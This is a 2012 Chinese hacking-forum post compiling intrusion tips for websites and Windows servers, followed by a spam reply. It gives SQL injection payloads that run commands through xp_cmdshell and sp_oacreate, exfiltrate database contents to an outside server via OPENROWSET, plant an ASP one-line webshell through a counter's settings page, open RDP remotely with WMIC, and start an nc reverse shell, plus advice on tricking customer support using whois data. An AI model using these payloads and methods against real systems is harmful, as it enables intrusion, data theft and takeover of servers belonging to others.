找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3802|回复: 1
打印 上一主题 下一主题

站库分离的方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:41:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
SA点数据库分离技术相关
; _( ~) n- n* V2 R5 F- p  }; e' ?$ w1 E2 F: s- w$ v

) w" G" f5 T5 Q4 G. {SA点数据库分离搞法+语句:
( u. O1 X3 `# O; k
* l7 m  M7 u$ c+ C注射点不显错,执行下面三条语句页面都返回正常。
& W, P7 D+ L2 j" O; h; L( Q2 tand 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')
. \5 z% `6 g' l' @0 z5 gand 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')
' k( f+ p8 a! t# s4 c2 T" E. s- dand 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')3 v' A# P& K2 J4 }4 w4 t  m
可以列目录,判断系统为2000,web与数据库分离: r. q: c! i+ `" {$ i6 ~; X$ P
遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。5 p! [  @5 @5 i, X
在注射点上执行
& Z6 c( l) C5 U' u3 `+ L- Z+ f4 [. y/ Mdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--# X3 P: O5 y/ L' c- c8 f* J
页面返回正常,通过上面这个命令执行telnet我一个外网肉鸡得1433端口,然后netstat/an没有得到IP
2 e! C* d8 R( }& O7 F2 w$ V还有我用NC监听得其他端口都没有得到IP。
) N2 s- s4 J0 g, _( t# A* s" D0 D5 v* H" u# t( g3 C, `
通过注射点执行下面这两个命令页面都返回异常,在肉鸡上面同样也是没有得到IP。
: d6 h# X9 T/ t$ L! Y7 z/ `0 ]& Y'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--
: s" ^7 C% c# X( `+ D7 b
; y2 F& Y8 s& M, @;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--+ e# ]) x' n' y9 H3 ?

6 `6 R* x+ A' g! c- N9 H- v/ z现在就猜想是不是数据库是内网而且不能连外网。5 ?: z9 f! C, T0 W% r

" Q% s" q, C1 K9 y3 \+ L* N' O
! I2 W+ j" R$ yaccess导出txt文本代码' F% [* X6 V4 V
SELECT * into [test.txt] in 'd:\web\' 'text;' from admin
; H# K" v! J- u, P8 Z9 F0 y" l' ?; h" @- L! a! ^

+ p" \4 b% f8 H. S4 e- D
: r9 H9 J1 [0 _1 P自动跳转到指定网站代码头. V. f! ]# c% g, L6 S$ r( ^3 F/ B
<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>
. k6 Y9 T# T: ]8 X4 I
- g; Q3 H" Y; U9 l! K
8 b- `! b2 ?7 |0 Q$ a# `' e2 _入侵java or jsp站点时默认配置文件路径:
& E/ J  _# R' u\web-inf\web.xml; b7 ?& E2 q% s/ F6 B
tomcat下的配置文件位置:6 F- x$ V. e# Q1 a' t
\conf\server.xml            (前面加上tomcat路径)
5 i  m6 p2 ~  D: B4 f2 P\Tomcat 5.0\webapps\root\web-inf\struts-config.xml
" H% ~6 d3 }$ E  N. L" o0 X& T
5 E9 m8 d' [& m0 n8 g6 ]: Q2 t
2 Q% J$ q( J' A8 H  H+ h8 t/ p) w3 j1 r$ m4 O0 w# U% N
检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:3 p# S- F" Q1 I/ R7 G" r8 g
-1%23: v8 V0 l) ~4 x( Q9 b
>
4 l" X& E* F/ `7 {, r5 M</ F" d) |! H# Y$ h  c4 {
1'+or+'1'='1
, {7 n# v( Y4 J+ r8 Eid=8%bf
) i- y/ u; K/ s6 N
* I4 P6 x1 c* F全新注入点检测试法:
8 M8 A2 O! y# B4 ~0 {( S( `6 ~- p在URL地址后面加上-1,URL变成:http://gzkb.goomoo.cn/news.asp?id=123-1,如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞,是数字型的。, X: c! w, S( W  K2 h4 q
9 l% A) m) ]  E4 e) W( V( Q7 _4 [
在URL的地址后面加上'%2B',URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2B',返回的页面和1同;加上'2%2B'asdf,URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf,返回的页面和1不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。2 q0 o2 z9 X2 Z2 {& ?. e8 N- Z
1 G. x0 a4 X% T9 X
搜索型注入判断方法:& S5 K* b" J, c; n8 h1 r
北京%' and '1'='1' and '%'='
5 i4 W; L& o- v. \北京%' and '1'='2' and '%'='
/ F# s% N8 L% E9 h* {3 D( W1 W
' L, g% d: X* N0 B2 _9 a2 d! f* A
) w/ L# S0 v% F: m* ^COOKIES注入:
" Z6 t: s2 e. U0 ]% Z! c/ o8 l. ?( t$ z: i& `
javascript:alert(document.cookie="id="+escape("51 and 1=1"));
+ c/ ]1 p8 B2 s4 c; O( w$ m1 j' `2 Q4 C5 n. Y$ S6 I
2000专业版查看本地登录用户命令:
% a6 c# U( i; S& b# a5 inet config workstation( X: b. Z7 @6 _0 s

. J; ^& T( @# m% D/ G5 P
- M' g& ]9 U4 g( ]/ i! N4 M2003下查看ipsec配置和默认防火墙配置命令:
; l+ B+ r0 z' K1 fnetsh firewall show config
" g* N7 b% G# l6 W  y  W- P  bnetsh ipsec static show all5 x, ^" x3 d& h% W' I

3 t) S7 j9 _. [  Z不指派指定策略命令:/ s+ b! Z4 a0 z% f, k0 |
netsh ipsec static set policy name=test assign=n  (test是不指派的策略名)- h- X/ {; C+ K; L; C
netsh ipsec static show policy all  显示策略名
  z9 ^- O# {5 b* }  P  o, I
8 U' Z6 E* i% Z" H2 ?, M' J* |) ]- L/ E( G" c
猜管理员后台小技巧:* m0 |; F# U% \- o- ^; c2 b
admin/left.asp
' E2 y+ I6 K& @+ @- c+ |admin/main.asp1 K" T% ?- Q7 ~, f
admin/top.asp
; L- g( A/ g# U* \# p/ tadmin/admin.asp
' j( m& B# b1 ~! \- r会现出菜单导航,然后迅雷下载全部链接
1 M9 o! g* |" P: P3 D9 |- `0 H2 p) N. ^( f: C. H/ ?
8 G$ Z" R1 F- L- d0 E) y6 }
社会工程学:
0 E1 S! ]# J$ U& V6 j用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人
9 b3 C5 Q: K5 v然后去骗客服
  P. ?- P( V7 _7 p2 h; o4 x0 \% r* c  P- J$ U
  y) a8 s' M! N6 X( n4 Z2 s! k2 M
统计系统使用的是IT学习者的统计系统,在网上下载了一套回来研究。这样的系统拿webshell一般就二种:1.数据库插一句话木马,客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录,发现数据库扩展名是asp的,默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb,用明小子的数据库工具打开,发现有防下载的表。管理员的默认密码是:ITlearner。数据库插一句话木马这条路是走不通了,现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码: " _. }! K2 ~* o2 T* g( V& G* Z
查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">, - H0 f$ z3 S/ {: e
  存为html文件打开后在最后详细来访信息记录多少条记录,默认为100条框输入100:eval request(chr(35)),点击保存。提示无法找到,结果发现。
! \2 I: j1 K4 i0 R! ~6 q+ m) m1 d
, l7 `" c1 ~) V; W7 P' T! w6 F, _; S* I" L

4 |% }3 E) i7 [" o0 l* R: Q, K: A; V6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞, 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)7 S9 w4 I% A' b) H+ L5 B% s2 c
& v6 @* Y/ H: o* F4 i; [) K4 \
+ O) d3 o7 ~" i7 ~* @/ j
! `# E8 |- @5 Y* B3 S: i9 I
CMD加密注册表位置' g# o/ e" B6 T0 t
(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor+ ]- `% A! ~; c" {: W! z5 o
AutoRun3 H2 ~" t9 K! P6 V1 `

" w' h2 P" S9 k$ i(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor
7 R9 s( b! }' o0 {& oAutoRun
! F+ a; S7 E' u( S  F9 k0 T* i0 N% o' z; ^# H; r  v
; ]! L( K, Q# [
在找注入时搜索Hidden,把他改成test
( K% d7 O/ w3 C; l3 C
( y$ {1 u$ o3 k$ Z, A, p8 d( @8 q0 o! r  N1 Q3 r6 c/ x7 j0 K

* [# {& [7 Z6 e7 [' zmstsc /v:IP /console ) O$ k" m. T- h9 A9 W
* o, G: P6 p4 [4 I
, I9 p7 m, R, p/ m4 U# ^0 T
一句话开3389:& l5 U) h6 C+ C3 G( _

. y$ A3 V4 d" k! n3 [2 q: k最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>  # }- ?2 c# y- n: d1 l. y& D' P7 R
开远程:WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1          就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.7 @3 [% F; P# q( e: L, q9 B% A8 M
/ M% i, Z* g" Z; Q& W: g0 Q

& p% y' [* X2 v5 n, o, K, w" M% B知道表名,字段,使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:
  z/ D% d: S- ~- P4 S% d) _& R% gInsert into admin(user,pwd) values('test','test')1 e- J$ Z3 L6 e  T* C" P: ?+ `

; H5 F8 S' r2 j5 H9 F  H) |
, C' ?( }( _& HNC反弹6 h; S' h, V! Q# n- j! d' [. M
先在本机执行:     nc -vv -lp 监听的端口     (自己执行)   
+ R( t+ c+ g- {0 N; i3 ]4 Q' b然后在服务器上执行:  nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)( }; k1 p, X3 i
0 ?. R6 x' f6 [- x
- V! l) Z1 R" _# w3 K( S5 A
在脚本入侵过程中要经常常试用%00来确认下参数是否有问题
# A/ M# r7 V2 ~7 r* m4 x* T6 R, f5 v8 G7 d9 G4 C9 {
有时候我们入侵的时候,在webshell没有办法列举网站的目录包括dir也不行的时候,这个时候可以尝试用DOS命令SUBST转移目录' L4 c  @9 J, P) r
例如:& z# f9 p# F5 `, j. s  G
subst k: d:\www\ 用d盘www目录替代k盘& q' r, D* D; q6 c
subst k: /d  解除K盘代替
回复

使用道具 举报

沙发
匿名  发表于 2017-12-20 02:36:51
We are a group of volunteers and starting a new scheme in our community.
Your web site offered us with valuable information to work on. You've done a formidable job and our entire community will
be grateful to you.
Website: Antispur Duo Forte proprieta
回复 支持 反对

使用道具

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表